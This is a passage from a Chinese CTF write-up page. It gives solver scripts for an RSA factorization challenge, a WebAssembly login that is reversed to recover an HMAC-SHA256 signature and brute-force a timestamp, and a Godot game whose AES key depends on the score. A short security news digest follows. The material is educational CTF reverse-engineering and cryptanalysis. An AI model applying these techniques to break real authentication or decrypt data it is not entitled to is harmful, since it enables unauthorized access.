known_factor = 12094541303222723616975666632268830751848445571951987169074250626437877110205699058506111384472586354084793914769711672322551034923778729430162356351731919
def get_primes(limit):
ps = []
is_p = [True] * (limit + 1)
for p in range(2, limit + 1):
if is_p[p]:
ps.append(p)
for i in range(p * p, limit + 1, p): is_p[i] = False
return ps
print("[*] Generating primes...")
primes = get_primes(2**20 + 2000)
n1_factors = {known_factor}
curr_n = n
# 初始化 A。注意:要在当前的 curr_n 下运算
A = pow(3, n1, curr_n)
print("[*] Starting robust factorization...")
for p in tqdm(primes):
# 计算 p 的最高幂次
p_pow = p
while p_pow * p <= 2**20:
p_pow *= p
A = pow(A, p_pow, curr_n)
# 检查当前因子
g = math.gcd(A - 1, curr_n)
# 如果找到了因子(哪怕是多个因子的乘积),我们都要处理
if 1 < g < curr_n:
# 这里可能 g 包含了 p, q 等。为了提取 n1 的因子,
# 我们需要尝试把 g 里的每一个素因子抠出来。
# 简单的方法:直接用 g 去试探 n1
f = math.gcd(g - 1, n1)
if f > 1:
# 彻底分解 f
temp_f = f
for k in list(n1_factors):
while temp_f % k == 0: temp_f //= k
if temp_f > 1 and isPrime(temp_f):
n1_factors.add(temp_f)
print(f"\n[+] Found n1 factor: {temp_f}")
# 核心改进:从当前模数中剔除已发现的因子,防止 GCD 变成 n
curr_n //= g
A %= curr_n
elif g == curr_n:
# 这种情况通常由于 base 的选择导致,但在本逻辑中通过 A %= curr_n 极难发生
# 如果发生了,说明当前的 A 已经在所有因子上都等于 1 了
break
if len(n1_factors) >= 4:
break
# 补全逻辑
if len(n1_factors) == 3:
p = 1
for x in n1_factors: p *= x
n1_factors.add(n1 // p)
if len(n1_factors) >= 4:
factors = list(n1_factors)
print("\n[!] All factors found. Decrypting...")
phi = 1
for f in factors: phi *= (f - 1)
d = inverse(e, phi)
m = pow(c, d, n1)
flag = long_to_bytes(m)
print("="*30)
# 查找 flag 字符串
if b'flag' in flag:
print(flag[flag.find(b'flag'):].split(b'}')[0].decode() + '}')
else:
print(f"Decrypted (hex): {flag.hex()}")
print("="*30)
else:
print(f"\n[-] Still missing factors. Found: {len(n1_factors)}")
3.Re
3.1 wasm-login
需要一个工具 https://github.com/WebAssembly/wabt
截取一部分release.wat的代码出来
(data (;42;) (i32.const 4296) "\02\00\00\00\1a\00\00\00{\00\22\00u\00s\00e\00r\00n\00a\00m\00e\00\22\00:\00\22")
(data (;44;) (i32.const 4344) "\02\00\00\00\1c\00\00\00\22\00,\00\22\00p\00a\00s\00s\00w\00o\00r\00d\00\22\00:\00\22")
(data (;53;) (i32.const 4584) "\02\00\00\00\1e\00\00\00\22\00,\00\22\00s\00i\00g\00n\00a\00t\00u\00r\00e\00\22\00:\00\22")
(data (;27;) (i32.const 2328) "\02\00\00\00\80\00\00\00N\00h\00R\004\00U\00J\00+\00z\005\00q\00F\00G\00i\00T\00C\00a\00A\00I\00D\00Y\00w\00Z\000\00d\00L\00l\006\00P\00E\00X\00K\00g\00o\00s\00t\00x\00u\00M\00v\008\00r\00H\00B\00p\003\00n\009\00e\00m\00j\00Q\00f\001\00c\00W\00b\002\00/\00V\00k\00S\007
可以看到这里有username password signature NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8HBp3n9emjQf1cWb2/VkS7yO(这应该是张自定义的base64码表)
可以看出来这个程序在后台拼凑一个 JSON 字符串,包含用户名、密码和某个签名
username和password已经在题目给的index.html中找到
而index.html中还发现md5的开头部分
const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
JSON.stringify(data): 这一步是把传进来的数据,比如包含用户名、密码、签名的对象变成一个字符串
CryptoJS.MD5(...): 对这个字符串进行 MD5 哈希计算
.toString(CryptoJS.enc.Hex): 把计算结果转换成 十六进制字符串
结论:变量 check 的值就是一个 MD5 哈希字符串
if (check.startsWith("ccaf33e3512e31f3")){
resolve({ success: true });
}
startsWith("..."): 这是 JavaScript 的字符串方法,意思是判断字符串是否以指定的子字符串开头
resolve({ success: true }): 只有当条件成立,返回 true时,服务器才会告诉前端验证通过或登录成功
通过上面的代码,可以得出以下逻辑链条:
目标:让函数返回 success: true
条件:check 变量必须以 "ccaf33e3512e31f3" 开头
check 的本质:它是输入数据的 MD5 值
结论:需要找到一个输入数据,包含正确的时间戳,使得它的 MD5 值的前 16 位 正好是 ccaf33e3512e31f3
接着看程序的常量
if ;; label = @1
i32.const 1779033703
global.set 1
i32.const -1150833019
global.set 2
...
把这些数字转成十六进制:
1779033703 -> 0x6a09e667
-1150833019 -> 0xbb67ae85
去搜索引擎搜这些十六进制数,就会知道这是 SHA-256 的标准初始常量
程序使用了 SHA-256 加密。结合 func 33 里的 xor 118 和 xor 60,这正是 HMAC-SHA256
因为xor 常量 118 (0x76) 和 60 (0x3c),这是 HMAC 算法中 ipad 和 opad 的典型特征
而根据题目内容
题目内容:
某人本想在2025年12月第三个周末爆肝一个web安全登录demo,结果不仅搞到周一凌晨,他自己还忘了成功登录时的时间戳了,你能帮他找回来吗?
提交格式为flag{时间戳正确时的check值}。是一个大括号内为一个32位长的小写十六进制字符串
题目说:2025年12月第三个周末,一直搞到周一凌晨。
2025年12月21日(周日),22日(周一)
2025-12-22 00:00:00 -> 1766332800000
2025-12-22 02:00:00 -> 1766340000000
所以范围大概就在这中间
import hashlib
from datetime import datetime, timezone, timedelta
class CryptoEngine:
"""内部安全引擎 - 负责令牌生成与校验"""
def __init__(self):
# 混淆过的映射表
self._alphabet = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO"
self._user_info = ("admin", "admin")
self._goal_prefix = "ccaf33e3512e31f3"
def _transform(self, data: bytes) -> str:
"""核心编码逻辑:自定义位流映射"""
out = []
val, bits = 0, 0
for byte in data:
val = (val << 8) | byte
bits += 8
while bits >= 6:
bits -= 6
out.append(self._alphabet[(val >> bits) & 0x3F])
if bits > 0:
out.append(self._alphabet[(val << (6 - bits)) & 0x3F])
res = "".join(out)
# 补齐长度
return res + ("=" * ((4 - len(res) % 4) % 4))
def check_sequence(self, tick: int) -> str:
"""计算特定时间戳下的认证指纹"""
u, p = self._user_info
# 预处理密码编码
p_enc = self._transform(p.encode('latin-1'))
# 构造原始载荷
payload = '{"username":"%s","password":"%s"}' % (u, p_enc)
raw_msg = payload.encode('utf-8')
# 密钥派生 (Key Derivation)
seed = str(tick).encode()
key_block = hashlib.sha256(seed).digest() if len(seed) > 64 else seed
key_block = key_block.ljust(64, b'\x00')
# 这里的 118(0x76) 和 60(0x3C) 是原始逻辑的特征常数
p1 = bytes([b ^ 118 for b in key_block])
p2 = bytes([b ^ 60 for b in key_block])
# 嵌套哈希架构 (注意:这是非标准的哈希顺序 inner + opad)
mid_hash = hashlib.sha256(p1 + raw_msg).digest()
final_sig = self._transform(hashlib.sha256(mid_hash + p2).digest())
# 生成最终校验体
full_body = '{"username":"%s","password":"%s","signature":"%s"}' % (u, p_enc, final_sig)
return hashlib.md5(full_body.encode()).hexdigest()
def run_audit(self):
"""执行扫描任务"""
# 时间范围定义
tz = timezone(timedelta(hours=8))
t_start = int(datetime(2025, 12, 22, 0, 0, tzinfo=tz).timestamp() * 1000)
t_end = int(datetime(2025, 12, 22, 6, 0, tzinfo=tz).timestamp() * 1000)
print(f"[*] Task started: scanning range {t_start} -> {t_end}")
total = t_end - t_start
for current_ts in range(t_start, t_end + 1):
token = self.check_sequence(current_ts)
if token.startswith(self._goal_prefix):
print(f"\n[+] Match discovered at index: {current_ts}")
print(f"[+] Final Flag: flag{{{token}}}")
return
if current_ts % 100000 == 0:
progress = (current_ts - t_start) / total * 100
print(f"[*] Processing... {progress:.1f}%", end='\r')
if __name__ == "__main__":
engine = CryptoEngine()
engine.run_audit()
3.2 babygame
一道Godot逆向题,得有专门的工具
extends CenterContainer
@onready var flagTextEdit: Node = $PanelContainer / VBoxContainer / FlagTextEdit
@onready var label2: Node = $PanelContainer / VBoxContainer / Label2
static var key = "FanAglFanAglOoO!"
var data = ""
func _on_ready() -> void :
Flag.hide()
func get_key() -> String:
return key
func submit() -> void :
data = flagTextEdit.text
var aes = AESContext.new()
aes.start(AESContext.MODE_ECB_ENCRYPT, key.to_utf8_buffer())
var encrypted = aes.update(data.to_utf8_buffer())
aes.finish()
if encrypted.hex_encode() == "d458af702a680ae4d089ce32fc39945d":
label2.show()
else:
label2.hide()
func back() -> void :
get_tree().change_scene_to_file("res://scenes/menu.tscn")
可以看到
初始key:FanAglFanAglOoO!
目标密文hex:d458af702a680ae4d089ce32fc39945d
算法 是 AES ,代码中明确调用了 AESContext.new()
模式是 ECB 代码中使用了 AESContext.MODE_ECB_ENCRYPT
密钥 FanAglFanAglOoO!
该字符串长度为 16 个字符。
在 UTF-8 编码下,16 个字符等于 16 字节(128位),因此,这是 AES-128
照理说直接写个脚本逆向就可以得到flag了,可是一直不对
然后看了题目内容
题目内容:
请找出隐藏的Flag。请注意只有收集了所有的金币,才能验证flag。
意思就是金币,也就是分数得达到一个设定好的数才能验证flag,回去逆向看看那里关于分数的函数
可以看到分数这里的代码是说当分数+1的时候,密钥中的A替换成B
所以正确的密钥应该是
FanBglFanBglOoO!
所以套上脚本就是
from Crypto.Cipher import AES
key = b"FanBglFanBglOoO!"
ciphertext = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
cipher = AES.new(key, AES.MODE_ECB)
result = cipher.decrypt(ciphertext)
print(result)
网络安全日报 2026年01月15日
1、《Apex英雄》游戏漏洞可远程控制其他玩家操作
https://cyberpress.org/apex-legends-remote-input-control-exploit/ 热门战术竞技游戏《Apex英雄》被曝存在严重安全漏洞,攻击者可远程劫持并控制其他玩家的游戏内输入操作。该漏洞使黑客能在玩家不知情的情况下,完全操控其角色移动、武器使用及战术技能,直接破坏游戏公平性与玩家操控权,属于竞技游戏领域新型攻击向量。开发商Respawn Entertainment确认漏洞仅作用于输入处理层面,不涉及远程代码执行或系统入侵,未引发更严重的设备安全风险。目前开发团队正开展深度取证分析,排查受影响玩家并明确事件范围,承诺及时更新修复进展,同时呼
2、微软2026年首次安全更新修复其产品及系统的112个漏洞
https://cyberscoop.com/microsoft-patch-tuesday-january-2026/ 微软发布2026年首次补丁星期二更新,修复涉及旗下产品及底层系统的112个漏洞,其中含1个已被在野利用的零日漏洞(CVE-2026-20805)。该漏洞位于桌面窗口管理器(Desktop Window Manager),属于信息泄露类缺陷(CVSS评分5.5),攻击者可利用其泄露敏感内存信息,削弱系统防御并助力其他漏洞利用,提升多阶段攻击成功率,可能导致权限提升或数据窃取。美国CISA已将其纳入已知利用漏洞目录,专家指出该漏洞利用需攻击者获取本地权限,且这是该组件信息泄露
3、西班牙能源巨头Endesa遭网络攻击导致客户数据泄露
https://www.barrons.com/news/hack-hits-spanish-energy-giant-endesa-s-client-data-419ba37d 西班牙能源巨头Endesa披露遭网络攻击,其数百万客户中的部分个人数据已被泄露,但公司明确排除了信息被欺诈性使用的可能。攻击者非法获取了客户能源合同相关数据、联系方式、身份证号及支付方式等信息,不过客户登录密码未受影响。Endesa表示其安全协议已迅速且妥善地控制并缓解了该事件,目前无数据遭欺诈使用的记录,暂未披露攻击具体发生时间及受影响客户数量(该公司在西班牙和葡萄牙拥有超1000万客户)。目前公司正展开全面调查
4、黑客宣称窃取Target内部源代码和开发者文档
https://www.bleepingcomputer.com/news/security/targets-dev-server-offline-after-hackers-claim-to-steal-source-code/ 2026年1月13日更新消息显示,多名塔吉特(Target)员工确认泄露源代码样本集的真实性,并分享了有关访问权限变更的内部通知。此前,未知威胁者在Gitea平台发布疑似塔吉特内部代码仓库样本,称更大规模数据集(约860GB)将在暗网拍卖,样本含支付服务、礼品卡等相关代码及内部服务器、工程师信息。塔吉特被问询后,相关仓库被移除,其开发服务器git.target.c
5、微软Copilot曝一键式漏洞:攻击者可悄无声息窃取敏感数据
https://www.freebuf.com/articles/ai-security/466532.html 研究人员发现针对微软Copilot Personal的新型一键式攻击,攻击者可通过该漏洞静默窃取用户敏感数据。该漏洞现已被修复,此前威胁分子可通过钓鱼链接劫持会话而无需进一步交互。
6、FortiOS高危漏洞可致远程攻击者执行任意代码
https://cybersecuritynews.com/fortios-and-fortiswitchmanager-vulnerability/ Fortinet披露高危漏洞(CWE-122),攻击者可远程执行任意代码,影响多个FortiOS、FortiSASE和FortiSwitchManager版本。建议立即升级或禁用fabric接口并阻断CAPWAP-CONTROL流量。
7、新型高级Linux恶意软件VoidLink瞄准云与容器环境
https://thehackernews.com/2026/01/new-advanced-linux-voidlink-malware.html VoidLink是一款针对Linux云环境的模块化恶意软件框架,支持动态扩展和隐蔽攻击,具备37个插件覆盖完整攻击链,采用高级反检测技术,与中国关联威胁组织有关,专攻云服务和开发环境。
8、Spring CLI工具漏洞可导致用户设备遭受命令注入攻击
https://cybersecuritynews.com/spring-cli-tool-vulnerability/ Spring CLI VSCode扩展0.9.0及更早版本存在命令注入漏洞(CVE-2026-22718,CVSS 6.3),攻击者可本地执行任意命令。该扩展已终止支持,建议立即卸载并改用替代方案。
9、Node.js 关键漏洞可触发堆栈溢出导致服务崩溃
https://thehackernews.com/2026/01/critical-nodejs-vulnerability-can-cause.html Node.js修复关键漏洞CVE-2025-59466(CVSS 7.5),该漏洞在使用async_hooks时可能导致堆栈溢出直接崩溃而非优雅处理,影响几乎所有生产环境应用,包括Next.js和主流APM工具。建议立即升级至20.20.0/22.22.0/24.13.0/25.3.0版本。
10、微软桌面窗口管理器0Day漏洞遭野外利用
https://cybersecuritynews.com/desktop-window-manager-0-day-vulnerability/ 微软紧急修复DWM关键0Day漏洞CVE-2026-20805,该漏洞允许本地攻击者泄露内存数据,可能用于权限提升。漏洞被评为重要级别,影响旧版Windows系统,需优先部署补丁。微软确认漏洞已被利用,建议限制低权限账户并监控DWM进程。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

